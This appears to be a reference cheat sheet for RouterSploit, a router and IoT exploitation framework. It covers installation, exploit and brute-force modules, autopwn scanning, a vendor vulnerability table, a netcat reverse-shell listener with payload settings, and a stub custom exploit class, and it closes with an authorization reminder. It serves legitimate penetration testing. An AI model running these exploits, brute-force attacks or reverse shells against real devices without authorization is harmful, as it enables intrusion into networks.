コンテンツにスキップ

RouterSploit

RouterSploit is an open-source exploitation framework designed for testing embedded devices, routers, and IoT equipment. It provides a modular approach to vulnerability assessment, credential testing, and exploitation of network devices similar to Metasploit but specialized for router and embedded device penetration testing.

git clone https://github.com/threat9/routersploit.git
cd routersploit
pip install -r requirements.txt
python3 rsf.py
brew install python3
git clone https://github.com/threat9/routersploit.git
cd routersploit
pip3 install -r requirements.txt
python3 rsf.py
docker run -it threat9/routersploit
git clone https://github.com/threat9/routersploit.git
cd routersploit
python3 setup.py install
python3 rsf.py
python3 rsf.py
# RouterSploit> prompt appears
CommandDescription
helpDisplay all available commands
show modulesList all available modules
search [keyword]Search modules by name or description
use [module]Load a specific module
infoDisplay module information and options
set [option] [value]Configure module options
backExit current module
show optionsDisplay current module options
exploit or runExecute the current module
exitExit RouterSploit

Modules that execute vulnerabilities to gain unauthorized access or control:

use exploits/d-link/dir_815_rce
use exploits/netgear/cmd_injection
use exploits/tp-link/authentication_bypass
use exploits/cisco/arbitrary_file_upload

Modules for testing default credentials and brute-forcing:

use creds/telnet_bruteforce
use creds/ssh_bruteforce
use creds/http_bruteforce
use creds/default_creds

Modules that scan for vulnerabilities without exploitation:

use scanners/autopwn
use scanners/port_scanner
use scanners/service_scanner
use scanners/vulnerability_scanner

Modules for generating and delivering payloads:

use payloads/reverse_shell
use payloads/bind_shell
search d-link
search rce
search authentication
search remote_code_execution
show modules
show modules | grep exploit
show modules | grep creds
show modules | grep scanner
use exploits/netgear/cmd_injection
info
# Shows: description, options, required fields, vendor info
# 1. Search for relevant exploit
search netgear

# 2. Load the module
use exploits/netgear/cmd_injection

# 3. View options
show options
# LHOST (attacker IP), LPORT (listener port), TARGET (target IP)

# 4. Set required options
set target 192.168.1.1
set lhost 192.168.1.100
set lport 4444

# 5. Execute exploit
exploit
# or
run
set target 192.168.1.1
set target http://192.168.1.1:8080
set rhost 192.168.1.1  # Remote host
set lhost 192.168.1.100    # Listener/attacker host
set lport 4444              # Listener port
set lpass password123       # Listener password
set payload reverse_shell
info
# Shows which options are required vs optional
show options
use creds/default_creds
set target 192.168.1.1
set vendor netgear
exploit
use creds/telnet_bruteforce
set target 192.168.1.1
set username admin
set wordlist /path/to/passwords.txt
exploit
use creds/http_bruteforce
set target 192.168.1.1
set username admin
set wordlist /path/to/wordlist.txt
set threads 4
exploit
use creds/ssh_bruteforce
set target 192.168.1.1
set port 22
set username root
set wordlist /path/to/passwords.txt
exploit

Automatically scans for vulnerabilities and attempts exploitation:

use scanners/autopwn
set target 192.168.1.1
exploit
# Scans for known vulnerabilities and exploitation paths

Identifies open ports on target:

use scanners/port_scanner
set target 192.168.1.1
set ports 1-1000
exploit

Identifies services and versions:

use scanners/service_scanner
set target 192.168.1.1
exploit

Scans for known vulnerabilities:

use scanners/vulnerability_scanner
set target 192.168.1.1
set vendor netgear
exploit

RouterSploit includes modules for major router and embedded device manufacturers:

VendorCommon Vulnerabilities
D-LinkDirectory traversal, RCE, auth bypass
NetgearCommand injection, authenticated RCE
TP-LinkAuthentication bypass, RCE
CiscoFile upload, auth bypass, buffer overflow
HuaweiAuthentication bypass, RCE
UbiquitiAuthentication bypass, RCE
LinksysCommand injection, firmware upload
BelkinDefault credentials, auth bypass
ASUSArbitrary file upload, RCE
MikrotikAuthentication bypass, RCE
# Step 1: Scan target network
use scanners/port_scanner
set target 192.168.1.1
exploit

# Step 2: Identify device and run AutoPwn
use scanners/autopwn
set target 192.168.1.1
exploit

# Step 3: Attempt default credentials
use creds/default_creds
set target 192.168.1.1
exploit
# Know target device? Search directly
search "TP-Link WR841N"

# Load specific exploit
use exploits/tp-link/wr841n_rce

# Set options
set target 192.168.1.1
set lhost 192.168.1.100

# Execute
exploit
# Multiple credential testing approaches
use creds/default_creds
set target 192.168.1.1
exploit

# Then brute-force remaining services
use creds/telnet_bruteforce
set target 192.168.1.1
exploit
# After successful exploit, obtain shell
# Set up listener (in separate terminal)
nc -lvnp 4444

# In RouterSploit, execute reverse shell payload
set payload reverse_shell
set lhost 192.168.1.100
set lport 4444
exploit

# Shell connects to listener

Create custom exploit at routersploit/modules/exploits/custom/:

from routersploit.modules import *

class Exploit(BaseExploit):
    """Custom Router Exploitation Module"""
    
    info = {
        'name': 'Custom Router RCE',
        'description': 'Custom exploitation module description',
        'vendor': 'Custom Vendor',
        'model': 'Custom Model',
        'version': '1.0',
    }
    
    target = Param.ip_addr('Target IP')
    port = Param.port(80, 'Target port')
    
    def check(self):
        """Check if target is vulnerable"""
        # Vulnerability check logic
        pass
    
    def exploit(self):
        """Execute exploit"""
        # Exploitation logic
        pass
FeatureRouterSploitMetasploit
FocusRouters/IoTGeneral penetration testing
Learning CurveLowerHigher
Module AvailabilityRouter-specificExtensive (all targets)
Ease of UseSimplerMore complex
CustomizationGoodExcellent
CommunitySmallerLarge
Target ScopeEmbedded/RouterBroad
PriceFreeFree community version
use creds/http_bruteforce
set threads 10
# Increases concurrent attempts
set wordlist /path/to/custom/passwords.txt
set username_wordlist /path/to/usernames.txt
set timeout 10
# Increases response wait time for slow networks
exploit > output.log
# Capture results to file
IssueSolution
Module not foundUse search to find correct module name
Connection refusedVerify target IP and port accessibility
Exploit fails silentlyRun info to verify all required options set
Slow brute-forceIncrease threads parameter
Python import errorsReinstall dependencies: pip install -r requirements.txt
  • Always obtain written permission before testing
  • Use on devices you own or have explicit authorization to test
  • RouterSploit should only be used for authorized security assessments
  • Document all findings and exploitation attempts
  • Disable unnecessary services on production routers
  • Regularly update firmware on network devices
  • Change default credentials immediately after device setup
  • Official GitHub: https://github.com/threat9/routersploit
  • Module documentation in repository
  • Vulnerability research databases (CVE, NVD)
  • Vendor security advisories
  • IoT security blogs and research papers